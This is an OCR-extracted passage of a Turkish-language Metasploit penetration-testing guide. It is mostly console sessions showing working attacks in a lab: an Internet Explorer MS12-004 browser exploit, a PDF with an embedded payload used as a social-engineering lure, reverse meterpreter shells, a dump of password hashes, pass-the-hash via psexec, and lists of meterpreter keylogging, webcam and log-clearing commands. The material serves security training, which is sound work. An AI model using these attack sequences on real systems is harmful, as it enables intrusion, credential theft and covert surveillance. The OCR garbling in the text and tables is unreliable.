Path to a signing key in PEM format
Password for signing key (required if

The URI to use for this exploit (default

Exit technique: seh, thread, process, none
The listen address
The listen port
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Current pid: 3612
meterpreter > sysinfo

Computer : W7ATVB

0S : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86

System Language : en_US

Meterpreter : x86/win32

meterpreter >

Giivenilmeyen imzal Java Applet ile Web Tarayicisi Exploit islemi

Guvenilmeyen imzaya sahip bir Java applet nedeniyle, kullanici asagida bir 6rnegi
gorulen uyari ile kargilagmaktadir. Uyarlyl okumayan veya anlamayan bir kullanicinin
kodu caligtirmasi oldukga kolaydir. Bu agigin daha kapsamli kullanimi ise harici araglar
ile bir web sitesinin kopylanmasi ve uyarinin o web sitesinin pargasiymis gibi
gérinmesinin saglanmasidir. Eger arka plandaki web sitesi hedeflenen veya gidilmek
istenen yer ise uyarinin dogrudan kabul edilmesi ve kodun calistirlmas mudmkin
olacakitir.

Security Warning @
Do you want to run this application?
Name: SitelLoader
! :4' Publisher: LUNEMOWN
From: http://192. 168.1.11

Risk: This application will run with unrestricted access which may put your computer and
personal information at risk, Run this application anly if you trust the publisher.

Maore Information

Select the box below, then click Run to start the application

{ accept the risk and want to run this application.; =y

@ Show Options

Guvenilmeyen Java Applet igin Karsilagilan Glivenlik Uyarisi

GamaSEC Bilgi Guvenligi Denetim ve Danigsmanlik Servisleri Sayfa 137




Metasploit Framework - Giris Seviyesi Denetmen Rehberi Ocak 2013

Orneklerden goriilecegi (izere web tarayicilarin bircok bileseni saldirtya aciktir ve
kendileri acgik barindirmasa bile hedef haline gelebilmektedir. Siradaki 6rnek ise
dogrudan bir web tarayicisini hedef almaktadir, Internet Explorer icin yakin zamanda
yayinlanan Windows Multimedia Library'de bulunan bir Heap Overflow acgigidir. Agigin
sadece belirli Internet Explorer surumlerini etkiledigi dikkate alinmali ve hazirlanacak
saldirida, kurbanin Internet Explorer veya sturimu kullanmamasi durumunda saldirinin
gerceklesemeyecegi bilinmelidir.

Calisacak servisin tum IP adreslerinde dinleme yapabilmesi icin SRVHOST degiskeni
0.0.0.0 olarak birakilmig, servisin dinleyecegi port icin SRVPORT degisenine 80 atamasi
yapilmis ve web servisini ziyaret eden tum kullanicilari ele gegirebilmek i¢cin URIPATH
degiskenine kok dizin (/) atamasi yapilmistir. Yapilandirma tamamlanip servis
calistirildiktan sonra, Internet Explorer 8 ve Windows 7 ikilisine sahip bir sistem
tarafindan ziyaret edilmis ancak glvenlik agigi bulunmadidi ve web tarayici bu agik igin
hedeflenmedigi icin saldiri gerceklesmemistir. Daha sonra ise sanal bir makinedeki
Internet Explorer 6 ve Windows XP SP2 sistem ile 192.168.1.11 IP adresi ziyaret edilmig
ve agagida goruldugu Uzere sistemine se¢mis oldugumuz Payload olan Meterpreter
yuklenmistir. Son olarak Internet Explorer'in kapatilabilmesi igin otomatik olarak (daha
sonra deginecedimiz) InitialAutoRunScript degiskenine atanmis olan “migrate -f’
calismis ve calistinlan Payload farkl bir surece aktarilarak Internet Explorer'dan
bagimsiz hale getirilmigtir.

msf > use exploit/windows/browser/ms12_004_midi
msf exploit(ms12_004_midi) > info

Name: MS12-004 midiOutPlayNextPolyEvent Heap Overflow
Module: exploit/windows/browser/ms12_004_midi
Version: 0
Platform: Windows
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
Shane Garrett
juan vazquez <juan.vazquez@metasploit.com>
sinn3r <sinn3r@metasploit.com>

Available targets:
Id Name
0 Automatic
1 IE 6 on Windows XP SP3
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2 IE 7 on Windows XP SP3
3 IE 8 on Windows XP SP3 with JRE ROP
4 IE 8 on Windows XP SP3 with msvcrt

Basic options:

Name Current Setting Required Description

OBFUSCATE false no Enable JavaScript obfuscation

SRVHOST 0.0.0.0 yes The local host to listen on. This must be an
address on the local machine or 0.0.0.0

SRVPORT 80 yes The local port to listen on.

SSL false no Negotiate SSL for incoming connections

SSLCert no Path to a custom SSL certificate (default 1is
randomly generated)

SSLVersion SSL3 no Specify the version of SSL that should be used
(accepted: SSL2, SSL3, TLS1)

URIPATH / no The URI to use for this exploit (default is
random)

Payload information:
Space: 1024

Description:
This module exploits a heap overflow vulnerability in the Windows
Multimedia Library (winmm.dll). The vulnerability occurs when
parsing specially crafted MIDI files. Remote code execution can be
achieved by using the Windows Media Player ActiveX control.
Exploitation is done by supplying a specially crafted MIDI file with
specific events, causing the offset calculation being higher than
what is available on the heap (0x400 allocated by WINMM!winmmAlloc),
and then allowing us to either "inc al" or "dec al" a byte. This can
be used to corrupt an array (CImplAry) we setup, and force the
browser to confuse types from tagVARIANT objects, which leverages
remote code execution under the context of the user. Note: At this
time, for IE 8 target, you may either choose the JRE ROP, or the
msvcrt ROP to bypass DEP (Data Execution Prevention). Also, based on
our testing, the vulnerability does not seem to trigger when the
victim machine is operated via rdesktop.

References:
http://www.microsoft.com/technet/security/bulletin/MS12-004.mspx
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2012-0003
http://www.osvdb.org/78210
http://www.securityfocus.com/bid/51292

http://www.vupen.com/blog/20120117.Advanced_Exploitation_of_Windows_MS12-004_CVE-2012-00
03.php

msf exploit(ms12_004_midi) > set SRVPORT 80
SRVPORT => 80
msf exploit(ms12_004_midi) > set URIPATH /
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URIPATH => /
msf exploit(ms12_004_midi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(ms12_004_midi) > set LHOST 192.168.1.11

LHOST => 192.168.1.11
msf exploit(ms12_004_midi) > show targets

Exploit targets:

Name

Automatic

IE 6 on Windows XP SP3
IE 7 on Windows XP SP3

IE 8 on Windows XP SP3 with JRE ROP

IE 8 on Windows XP SP3

with msvcrt

msf exploit(ms12_004_midi) > show options

Module options (exploit/windows/browser/ms12_004_midi):

Current Setting Required Description

SSLVersion SSL3

ed: SSL2, SSL3, TLS1)
ATH /

no
yes

yes
no
no

Name
OBFUSCATE  false
SRVHOST 0.0.0.0
address on the local machine or 0.0.0.0
SRVPORT 80
SSL false
SSLCert
randomly generated)

no

no

Enable JavaScript obfuscation
The local host to listen on. This must

The local port to listen on.
Negotiate SSL for incoming connections

Path to a custom SSL certificate (default is

Specify the version of SSL that should

The URI to use for this exploit (default is

Payload options (windows/meterpreter/reverse_tcp):

Current Setting Required Description

EXITFUNC process

T 192.168.1.11
T 4444

target:

Name

Automatic

yes Exit technique: seh, thread, process, none

yes Th
yes Th

e listen address
e listen port

be an

be used
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msf exploit(ms12_004_midi) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.11:4444
msf exploit(ms12_004_midi) > [*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://192.168.1.11:80/

*] Server started.

msf exploit(ms12_004_midi) >

[-] 192.168.1.12 ms12_004_midi - Unknown user-agent

[*] 192.168.1.32 ms12_004_midi - Sending HTML

[*] 192.168.1.32 ms12_004_midi - Sending midi file

[*] 192.168.1.32 ms12_004_midi - Sending midi file

[*] Sending stage (752128 bytes) to 192.168.1.32

[*] Meterpreter session 2 opened (192.168.1.11:4444 -> 192.168.1.32:1060) at 2012-09-18
14:42:40 +0300

[*] Session ID 2 (192.168.1.11:4444 -> 192.168.1.32:1060) processing
InitialAutoRunScript 'migrate -f'

[*] Current server process: iexplore.exe (1980)

[*] Spawning notepad.exe process to migrate to

[+] Migrating to 1428

[+] Successfully migrated to process

msf exploit(ms12_004_midi) > sessions -1

Active sessions

Id Type Information Connection

2 meterpreter x86/win32 HACMEONE\Holden @ HACMEONE 192.168.1.11:4444 ->
192.168.1.32:1060 (192.168.1.32)

msf exploit(ms12_004_midi) > sessions -1 2
[*] Starting interaction with 2...

meterpreter > shell

Process 2488 created.

Channel 1 created.

Microsoft Windows XP [Serem 5.1.2600]

(C) Telif Hakke 1985-2001 Microsoft Corp.

C:\Documents and Settings\Holden\Desktop>exit
meterpreter >

Microsoft Internet Explorer'in MS12-004 Guivenlik Duyurusundaki Agikla Exploit Edilmesi
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4.1.2 Dosya Uretme Exploit'leri

Exploit'lerin olduk¢ca degisik olabilecegi bir diger nokta ise dosya igleme esnasinda
olusan guvenlik agiklaridir. Bu acgiklarda hedefe bir adet dosya gonderilir ve hedefin bu
dosyay! islemesi esnasinda olusacak guvenlik acgigl ile yetkisiz erisim kazanmak
hedeflenir. Hedeflenen yazilim ¢ogunlukla istemci sistemleri oldugu icin PDF, JPG, GIF
ve ofis dosyalari gibi birgcok dosya ile saldiri gergeklestirmek mumkundur. Microsoft
Office, Adobe Acrobat Reader, VLC veya resim isleme kutlphaneleri gibi yazilimlar
hedef alinarak hazirlanan dosyalar; isleme esnasinda ortaya g¢ikabilecek bir guvenlik
acigr ve sonrasinda istenen Payload'un c¢alistiriimasi igin dretilir. Payload'un
calistiriilmasi sonrasinda yetkisiz erisime dogru izlenecek birgok yol vardir; istemcinin
denetmen sistemine baglanmasi, kalici bir arka kapi kurularak daha sonra baglanacak
bicimde yapilandiriimasi veya istenen bir truva ati ile agsiz bir ortamda calisma
planlanabilir.

Ornekte Adobe Acrobat Reader'in okuyabildigi PDF dosyalarina, EXE uzantili uygulama
gomulebilmesinden kaynaklanan guvenlik acgigi exploit edilmigtir. PDF dosyasindaki
Payload, ¢alistiginda denetmen sistemine baglanabilecek bi¢cimde yapilandiriimigtir. Ters
baglanti icin LHOST ile denetmen IP adresi, LPORT ile baglanilacak port verilmistir.
Ayrica dosya olusturulurken o6rnek bir PDF dosyasi kullaniimahldir, bu nedenle
INFILENAME degiskenine kullanilacak PDF dosyasinin adi yaziimahdir. Bu
yapilandirma sonrasinda; ters baglanti yapmak uzere hazirlanan Payload hazirlanmis ve
verilen PDF dosyaya gomulmustur.

msf > use exploit/windows/fileformat/adobe_pdf_embedded_exe
msf exploit(adobe_pdf_embedded_exe) > info

Name: Adobe PDF Embedded EXE Social Engineering
Module: exploit/windows/fileformat/adobe_pdf_embedded_exe
Version: 15806
Platform: Windows
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent

Provided by:
Colin Ames <amesc@attackresearch.com>
jduck <jduck@metasploit.com>

Available targets:
Id Name
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© Adobe Reader v8.x, v9.x (Windows XP SP3 English/Spanish)
Basic options:

Name Current Setting Required Description

EXENAME no The Name of payload exe.

FILENAME evil.pdf no The output filename.

INFILENAME yes The Input PDF filename.

LAUNCH_MESSAGE To view the encrypted content please tick the "Do not show this
message again" box and press Open. no The message to display in the File: area

Payload information:
Space: 2048

Description:
This module embeds a Metasploit payload into an existing PDF file.
The resulting PDF can be sent to a target as part of a social
engineering attack.

References:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-1240
http://www.osvdb.org/63667
http://blog.didierstevens.com/2010/04/06/update-escape-from-pdf/
http://blog.didierstevens.com/2010/03/31/escape-from-foxit-reader/
http://blog.didierstevens.com/2010/03/29/escape-from-pdf/
http://www.adobe.com/support/security/bulletins/apsb10-15.html

msf exploit(adobe_pdf_embedded_exe) > set INFILENAME 'C4.pdf'
INFILENAME => C4.pdf

msf exploit(adobe_pdf_embedded_exe) > show options

Module options (exploit/windows/fileformat/adobe_pdf_embedded_exe):

Name Current Setting Required Description

EXENAME no The Name of payload exe.

FILENAME evil.pdf no The output filename.

INFILENAME C4.pdf yes The Input PDF filename.

LAUNCH_MESSAGE To view the encrypted content please tick the "Do not show this
message again" box and press Open. no The message to display in the File: area

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST 192.168.1.11 yes The listen address

LPORT 4444 yes The listen port

Exploit target:
Id Name
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© Adobe Reader v8.x, v9.x (Windows XP SP3 English/Spanish)

msf exploit(adobe_pdf_embedded_exe) > exploit

[*] Reading in 'C4.pdf'...

[*] Parsing 'C4.pdf'...

[*] Using 'windows/meterpreter/reverse_tcp' as payload...
[*] Parsing Successful. Creating 'evil.pdf' file...

[+] evil.pdf stored at /root/.msf4/local/evil.pdf

msf exploit(adobe_pdf_embedded_exe) >
Adobe Acrobat Reader icin Payload iceren PDF Hazirlamak

Hazirlanan PDF'in hedef kullaniciya e-posta veya web sayfasi araciligiyla génderilmesi
mumkundur, bu noktada sosyal muhendislik ¢alismalari devreye girmelidir. PDF, Adobe
Acrobat Reader ile agildiginda LAUNCH_MESSAGE degiskenine atanan acgiklamayi
gOsteren ve onay isteyen bir kutu ile karsilasilir. Eger hedeflenen kullanici Open
digmesine basmaz ise PDF igindeki zararli kod ¢alismayacaktir ve sosyal muhendislik
bu noktada devreye girmelidir.

Launch File E|

The file and its viewer application are set to be launched by this POF File, The

! E file may contain programs, macros, of viruses that could potentially harm your
computer, Only open the file if you are sure it is safe, If this file was placed by
a trusted person or program, vou can click Open to view the File.

PN
ST view the encrypted content please kick the "Do not showe Ehis message
again” box and press Cpen, -
Do nok show this message again
] ge ag
[ Open ] [ Da Mok Open

Adobe Acrobat Reader i¢in PDF'teki Uygulamayi Calistirma Onayi Ekrani

Siradaki adim ise su ana kadar bahsetmedigimiz bir 6zelligin devreye alinmasini
gerektir. Daha sonraki boliumlerde detayli olarak anlatilacagr uzere Metasploit
Framework'ln, secilen Payload'u iletecek yontemlere karismadan dogrudan 2. adimdan
baglantt olusturmasi secgenegi de mevcuttur. Exploitler arasinda yer alan
exploit/multi/handler moduli ile bir Payload segilebilir ve gerekli baglanti parametreleri
atanarak hedeften gelecek veya hedefe gidecek Payload baglantisi tanimlanir.
Gonderilen karsilama igin Paylaod seciminde, dosyaya gomulen Payload ve baglanti
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secgenekleri secilmelidir. Ornegimizde Payload olarak Meterpreter
(windows/meterpreter/reverse_tcp) secilmis ve ters baglanti kullaniimistir.

msf exploit(adobe_pdf_embedded_exe) > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.1.11:4444
[*] Starting the payload handler...

Hedef kullanicinin PDF'i agmasi ve istedi kabul etmesinin ardindan ters baglanti talebi
gelecek, yetkisiz erisim igin oturum saglanacaktir.

[*] Sending stage (752128 bytes) to 192.168.1.32
[*] Meterpreter session 3 opened (192.168.1.11:4444 -> 192.168.1.32:1062) at 2012-09-18
15:41:37 +0300

msf exploit(adobe_pdf_embedded_exe) > sessions

Active sessions

Id Type Information Connection
3 meterpreter x86/win32 HACMEONE\Holden @ HACMEONE 192.168.1.11:4444 ->
192.168.1.32:1062 (192.168.1.32)

msf exploit(handler) > sessions -i 3
[*] Starting interaction with 3...

meterpreter > shell

Process 616 created.

Channel 1 created.

Microsoft Windows XP [Serem 5.1.2600]

(C) Telif Hakke 1985-2001 Microsoft Corp.

C:\Documents and Settings\Holden\Desktop>
Adobe Acrobat Reader i¢in PDF'teki Uygulamayi Calistirma Onayi Ekrani

Dosya godnderimi ile exploit etme islemleri her zaman karsi kullanicidan bir etkilesim
beklemeyebilirler. Ornegdin hazirlanacak bir EXE uygulamasi igin tiklama yeterlidir veya
dogrudan bellek tagsmasi olusturan bir DOC dosyasi i¢in agmak yeterlidir. Ancak bu tir
durumlarda da Anti-Virus sistemi, e-posta filtreleme sistemi veya kullanicinin
sistemindeki yazilimlar engel olugturabilir. Bu tur guvenlik onlemlerinin agilmasi ise
ileride bahsedilecek konular arasindadir.
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4.1.3 Parola Ozeti Génderimi ile Sistem Ele Gegirme

Windows igletim sistemlerinde parolalar, veri 6zeti (hash) hazirlanmig halde SAM
veritabaninda tutulur ve sunucular ile iletisim halinde sadece parola 6zeti gonderilir.
Boylece kullanicidan parolasini tekrar girmesi talep edilmez ve parola guvenli bigimde
diskte depolanabilir. Ancak durum pek te boyle degildir; oncelikle diske kaydedilmis olan
parola Ozetleri kripto analiz ve gdkkusagi tablolari ile kirilabilir durumdadir, diger sorun
ise parola Ozetinin kirilmasina gerek olmadan da sunuculara gonderiminin mumkuin
olmasidir.

Meterpreter ylUklenen bir hedef sistemde priv modulinin pargasi olan hashdump
komutu araciligiyla SAM veritabanindaki parola o6zetleri alinabilmektedir. Yuklenen
Meterpreter SYSTEM kullanicisi haklarina sahip ise bu modul kullanilabilir, parolalar
alinabilir ve Ophcrak gibi harici bir parola kirma araci ile kirilabilir. Bu bélumde parolanin
kirlmasina gerek kalmadan nasil kullanilabilecegini 6rnekleyecegiz.

Windows igletim sistemlerinde, sistem yoneticilerinin uzaktaki bir sunucuda telnet veya
RDP bagdlantisi olmadan, dogrudan SMB Uzerinden bir uygulama calistirabilmesine
imkan saglayan oOzellik bulunmaktadir. Bu 0zellik PSExec olarak bilinmektedir ve
Metasploit Framework'te bu amacla hazirlanmis bir modul de bulunmaktadir. Asagidaki
goéraldugu uzere ilk adimda bir bagka sunucu ile olan baglantida hashdump komutu
calistinlmis ve parola 6zetleri alinmistir. PSExec 6zelliginin kullanilabilir olmasi igin
Administrator kullanicisi haklarina ihtiya¢ vardir, bu nedenle Administrator kullanicisinin
parola 6zeti ikinci adimda kullanilacaktir.

meterpreter > getsystem

...got system (via technique 1).

meterpreter > hashdump
Administrator:500:42d9795ccbf@445eaad3b435b51404ee:3e3a37f6ed7de88bf26305ab0cOcf0a3: ::
ASPNET:1007:59dca738ffc29cea3a6c0Oc7aal1618850:554e05a92a25de69e8271d1dc5ebf6es: : :
gamasec:1004:8a3a9c60b53f72250aad3b435b51404ee:de43644c485ccb71250df2498410cbba: ::
gamasectest:1010:83a9c60b53f72250aad3b435b51404ee:de43644c485ccb71250df2498410cbba: ::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfedd16ae931b73c59d7e0c089¢O: : :
hacme:1009:42d9795ccbf0445eaad3b435b51404ee:3e3a37f6ed7de88bf26305ab0cOcfal3:::
HelpAssistant:1000:cb29d350ac17ddf2ec87c78080e896ed:6a46603615c572a613888ef12dd1c3b3:::
Holden:1003:42d9795ccbf0445eaad3b435b51404ee:3e3a37f6ed7de88bf26305ab0cOcfOa3:::
TUSR_HACMEONE:1005:bf75996d0aa7467cf3c8c7f3b33ebadf:2d68c05020fcbee77d548fbd8fa7be3c: ::
IWAM_HACMEONE:1006:c2bde81ffacf96d5054f006b655b98fe:c1cb9a58b3331160679e13a721a17d2e: ::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:5a805c3581ca5c995bf1844af322267c:

testuser:1011:3ae6ccce2a2a253f93e28745b8bf4ba6:35ccba9168b1d5¢ca6093b4b7d56¢c619b: : :
Meterpreter Uzerinden Windows Parola Ozetlerinin Alinmasi

GamaSEC Bilgi Guvenligi Denetim ve Danigsmanlik Servisleri Sayfa 146




Metasploit Framework - Giris Seviyesi Denetmen Rehberi Ocak 2013

PSExec modulu olan exploit/windows/smb/psexec verilecek kullanici adi ve parola ile,
edger kullanicinin yetkileri varsa istenen Payload'u yuklemekte ve cgalistirabilmektedir.
Ornekte Meterpreter Payload'unun yiiklenmesi istenmis ve Administrator kullanicisi igin
bir dnceki adimda alinan parola 6zeti kullaniimigtir.

msf > use exploit/windows/smb/psexec
msf exploit(psexec) > info

Name: Microsoft Windows Authenticated User Code Execution
Module: exploit/windows/smb/psexec
Version: 15738
Platform: Windows
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Manual

Provided by:
hdm <hdm@metasploit.com>

Available targets:
Id Name

0 Automatic

Basic options:

Name Current Setting Required Description

RHOST 192.168.1.32 yes The target address

RPORT 445 yes Set the SMB service port

SHARE ADMINS yes The share to connect to, can be an admin share
(ADMINS,CS,...) or a normal read/write folder share

SMBDomain WORKGROUP no The Windows domain to use for authentication

SMBPass no The password for the specified username

SMBUser no The username to authenticate as

Payload information:
Space: 2048

Description:
This module uses a valid administrator username and password (or
password hash) to execute an arbitrary payload. This module 1is
similar to the "psexec" utility provided by SysInternals. This
module is now able to clean up after itself. The service created by
this tool uses a randomly chosen name and description.

References:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=1999-0504
http://www.osvdb.org/3106
http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx
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msf exploit(psexec) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(psexec) > set LHOST 192.168.1.11
LHOST => 192.168.1.11
msf exploit(psexec) > set LPORT 4444
LPORT => 4444
msf exploit(psexec) > set SMBUser Administrator
SMBUser => Administrator
msf exploit(psexec) > set SMBPass
42d9795ccbf0445eaad3b435b51404ee:3e3a37f6ed7de88bf26305ab0cOcfOa3
msf exploit(psexec) > set RHOST 192.168.1.32
RHOST => 192.168.1.32
msf exploit(psexec) > exploit

Started reverse handler on 192.168.1.11:4444

Connecting to the server...

Authenticating to 192.168.1.32:445|WORKGROUP as user 'Administrator’'...
Uploading payload...

Created \KDUlTumW.exe...

Binding to

]
]
1
]
]
]
7
] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.32[\svcctl] ...
*] Obtaining a service manager handle...
] Creating a new service (dicoDoNp - "MpTksUXesV1zfOoaPPxNCd")...
] Closing service handle...
1 Opening service...
] Starting the service...
1 Removing the service...
] Closing service handle...
] Sending stage (752128 bytes) to 192.168.1.32
] Deleting \KDUlTumW.exe...
*] Meterpreter session 5 opened (192.168.1.11:4444 -> 192.168.1.32:1055) at 2012-09-20
5:40:54 +0300

PSExec Modli lie Yonetici Parola Kullanilarak Hedefe Meterpreter Yiklemek
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4.2 lleri Diizey Meterpreter Kullanimi

4.2.1 Meterpreter Modiilleri

Meterpreter'in stdapi ve priv modulleri 6n tanimli olarak yUklenmektedir, istenmesi
durumunda incognito, lanattacks, sniffer ve espia gibi diger modduller de load komutu
ile kolayca yuklenmektedir. Dosya, ag, sistem ve kullanici bilgi toplamasi i¢in stdapi,
yetki iglemleri icin priv, yetki jetonu islemleri i¢in incognito, yerel ag saldirilari igin
lanattacks, paket yakalama icin sniffer ve ekran gorintisu gibi islemler igin espia
modulleri kullanilabilir. Modullerin sundugu araglarin ilerleyen asamalarda deginilecektir.

meterpreter > load incognito

Loading extension incognito...success.
meterpreter > load sniffer

Loading extension sniffer...success.
meterpreter > load espia

Loading extension espia...success.
meterpreter > help

Core Commands

Command Description

? Help menu

background Backgrounds the current session

bgkill Kills a background meterpreter script

bglist Lists running background scripts

bgrun Executes a meterpreter script as a background thread
channel Displays information about active channels

close Closes a channel

disable_unicode_encoding
enable_unicode_encoding
exit

Disables encoding of unicode strings
Enables encoding of unicode strings
Terminate the meterpreter session

help Help menu

info Displays information about a Post module
interact Interacts with a channel

irb Drop into irb scripting mode

load Load one or more meterpreter extensions
migrate Migrate the server to another process
quit Terminate the meterpreter session

read Reads data from a channel

resource Run the commands stored in a file

run Executes a meterpreter script or Post module
use Deprecated alias for 'load'

write Writes data to a channel
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Stdapi: File system Commands

Command

cd
download
edit
getlwd
getwd
lcd
1pwd
1s
mkdir
pwd

rm
rmdir
search
upload

Stdapi: Networking Commands

Description

Read the contents of a file to the screen
Change directory

Download a file or directory
Edit a file

Print local working directory
Print working directory

Change local working directory
Print local working directory
List files

Make directory

Print working directory

Delete the specified file
Remove directory

Search for files

Upload a file or directory

Command
arp
ifconfig
ipconfig
netstat
portfwd
route

Stdapi: System Commands

Description

Display the host ARP cache

Display interfaces

Display interfaces

Display the network connections

Forward a local port to a remote service
View and modify the routing table

Command
clearev
drop_token
execute
getpid
getprivs
getuid
kill

ps
reboot
reg
rev2self

Description

Clear the event log

Relinquishes any active impersonation token.
Execute a command

Get the current process identifier

Attempt to enable all privileges available to the current process
Get the user that the server is running as
Terminate a process

List running processes

Reboots the remote computer

Modify and interact with the remote registry
Calls RevertToSelf() on the remote machine
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shell
shutdown
steal_token
sysinfo

Stdapi: User interface Commands

Drop into a system command shell

Shuts down the remote computer

Attempts to steal an impersonation token from the target process
Gets information about the remote system, such as 0S

Command
enumdesktops
getdesktop
idletime
keyscan_dump
keyscan_start
keyscan_stop
screenshot
setdesktop
uictl

Stdapi: Webcam Commands

Description

List all accessible desktops and window stations

Get the current meterpreter desktop

Returns the number of seconds the remote user has been idle
Dump the keystroke buffer

Start capturing keystrokes

Stop capturing keystrokes

Grab a screenshot of the interactive desktop

Change the meterpreters current desktop

Control some of the user interface components

Command

webcam_list
webcam_snap

Priv: Elevate Commands

Description

List webcams
Take a snapshot from the specified webcam

Command

getsystem

Priv: Password database Commands

Description

Attempt to elevate your privilege to that of local system.

hashdump

Dumps the contents of the SAM database
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Priv: Timestomp Commands

Incognito Commands

Command
add_group_user
add_localgroup_user
add_user
impersonate_token
list_tokens
snarf_hashes

Sniffer Commands

Command
sniffer_dump
sniffer_interfaces
sniffer_release
downloading them
sniffer_start
sniffer_stats
sniffer_stop

Espia Commands

Command Description

timestomp Manipulate file MACE attributes

Description

Attempt to add a user to a global group with all tokens
Attempt to add a user to a local group with all tokens
Attempt to add a user with all tokens

Impersonate specified token

List tokens available under current user context

Snarf challenge/response hashes for every token

Description

Retrieve captured packet data to PCAP file

Enumerate all sniffable network interfaces

Free captured packets on a specific interface instead of

Start packet capture on a specific interface
View statistics of an active capture
Stop packet capture on a specific interface

Command Description

screengrab Attempt to grab screen shot from process's active desktop

Meterpreter Moddlleri ve Destekledikleri Komutlar
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4.2.2 Kullanici ve Sistem Hakkinda Bilgi Toplama

Meterpreter yUklenen hedef sistemlerde c¢alisma yapiimadan 6nce bilgi toplanmasi
faydalidir, kullanilabilir yetki seviyesi ve erisim saglanabilecek kaynaklari kavramak
adina bu adim 6nemlidir. Temel komutlarin iginde bilgi toplama igin kullanilabilecek
bircok komut vardir; bu komutlar ile sistem kaynaklari, kullanici bilgileri, aktif olan

uygulamalar, ag ayarlari ve galismakta olan servisler 6grenilebilir.

meterpreter > sysinfo

Computer : HACMEONE

0S : Windows XP (Build 2600, Service Pack 2).
Architecture : x86

System Language : tr_TR

Meterpreter ¢ x86/win32

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM
meterpreter > getpid

Current pid: 1044

meterpreter > getprivs

Enabled Process Privileges

SeDebugPrivilege
SeTcbPrivilege
SeCreateTokenPrivilege
SeAssignPrimaryTokenPrivilege
SeLockMemoryPrivilege
SeIncreaseQuotaPrivilege
SeSecurityPrivilege
SeTakeOwnershipPrivilege
SeLoadDriverPrivilege
SeSystemtimePrivilege
SeProfileSingleProcessPrivilege
SelncreaseBasePriorityPrivilege
SeCreatePagefilePrivilege
SeCreatePermanentPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeShutdownPrivilege
SeAuditPrivilege
SeSystemEnvironmentPrivilege
SeChangeNotifyPrivilege
SeUndockPrivilege
SeManageVolumePrivilege
meterpreter > getwd
C:\WINDOWS\system32
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meterpreter > ifconfig

Interface 1

Name

: MS TCP Loopback interface

Hardware MAC :

MTU

. 1520

IPv4 Address :
IPv4 Netmask :

Interface 2

Name
Noktase

: VMware Accelerated AMD PCNet Adapter - Paket Zamanlayecese Mini Baelante

Hardware MAC :

MTU

: 1500

IPv4 Address :
IPv4 Netmask :

00:00:00:00:00:00

127.0.0.1
255.0.0.0

00:0c:29:dc:38:09

192.168.1.32
255.255.255.0

meterpreter > netstat

Connection list

Proto Local address Remote address State User Inode PID/Program
name
tcp 0.0.0.0:25 0.0.0.0:* LISTEN 0 0 1564/1inet
tcp 0.0.0.0:80 0.0.0.0:% LISTEN 0 0 1564/inet
tcp 0.0.0.0:135 0.0.0.0:%* LISTEN 0 0 960/svcho
tcp 0.0.0.0:443 0.0.0.0:* LISTEN 0 0 1564/1inet
tcp 0.0.0.0:445 0.0.0.0:* LISTEN 0 0 4/System
tcp 0.0.0.0:1025 0.0.0.0:% LISTEN 0 0 1564/inet
tcp 0.0.0.0:1433 0.0.0.0:%* LISTEN 0 0 1588/sqls
tcp 0.0.0.0:3389 0.0.0.0:* LISTEN 0 0 876/svcho
tcp 127.0.0.1:1031 0.0.0.0:* LISTEN 0 0 996/alg.e
tcp 192.168.1.32:139 0.0.0.0:* LISTEN 0 0 4/System
tcp 192.168.1.32:1067 192.168.1.11:4444 ESTABLISHED 0O 0 1044/svch
tcp 192.168.1.32:1045 192.168.1.11:111 CLOSE_WAIT 0 0 1968/xspF
tcp 192.168.1.32:1056 192.168.1.11:80 CLOSE_WAIT © 0 3512/IEXP
tcp 192.168.1.32:1057 192.168.1.11:4444 CLOSE_WAIT 0 0 3512 /IEXP
tcp 192.168.1.32:1059 192.168.1.11:80 CLOSE_WAIT 0 0 1980/IEXP
tcp 192.168.1.32:1060 192.168.1.11:4444 CLOSE_WAIT 0 0 1980/IEXP
tcp 192.168.1.32:4444 192.168.1.11:40809 CLOSE_WAIT 0 0 1044 /svch
tcp 192.168.1.32:4444 192.168.1.11:41992 CLOSE_WAIT 0 0 1044 /svch
udp 0.0.0.0:1434 0.0.0.0:* 0 0 1588/sqls
udp 0.0.0.0:500 0.0.0.0:* 0 0 712/1sass
udp 0.0.0.0:1026 0.0.0.0:* 0 0 1100/svch
udp 0.0.0.0:445 0.0.0.0:* 0 0 4/System
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udp 0.0.0.0:3456 0.0.0.0:* 0 0 1564/inet
udp 0.0.0.0:4500 0.0.0.0:* 0 0 712/1sass
udp 127.0.0.1:1063 0.0.0.0:% 0 0 2652 /IEXP
udp 127.0.0.1:1058 0.0.0.0:% 0 0 1980/IEXP
udp 127.0.0.1:1027 0.0.0.0:* 0 0 1044 /svch
udp 127.0.0.1:1053 0.0.0.0:* 0 0 3512 /1EXP
udp 127.0.0.1:1900 0.0.0.0:* 0 0 1152/svch
udp 127.0.0.1:123 0.0.0.0:* 0 0 1044 /svch
udp 127.0.0.1:1050 0.0.0.0:* 0 0 1044 /svch
udp 192.168.1.32:137 0.0.0.0:* 0 0 4/System
udp 192.168.1.32:1900 0.0.0.0:* 0 0 1152/svch
udp 192.168.1.32:123 0.0.0.0:* 0 0 1044 /svch
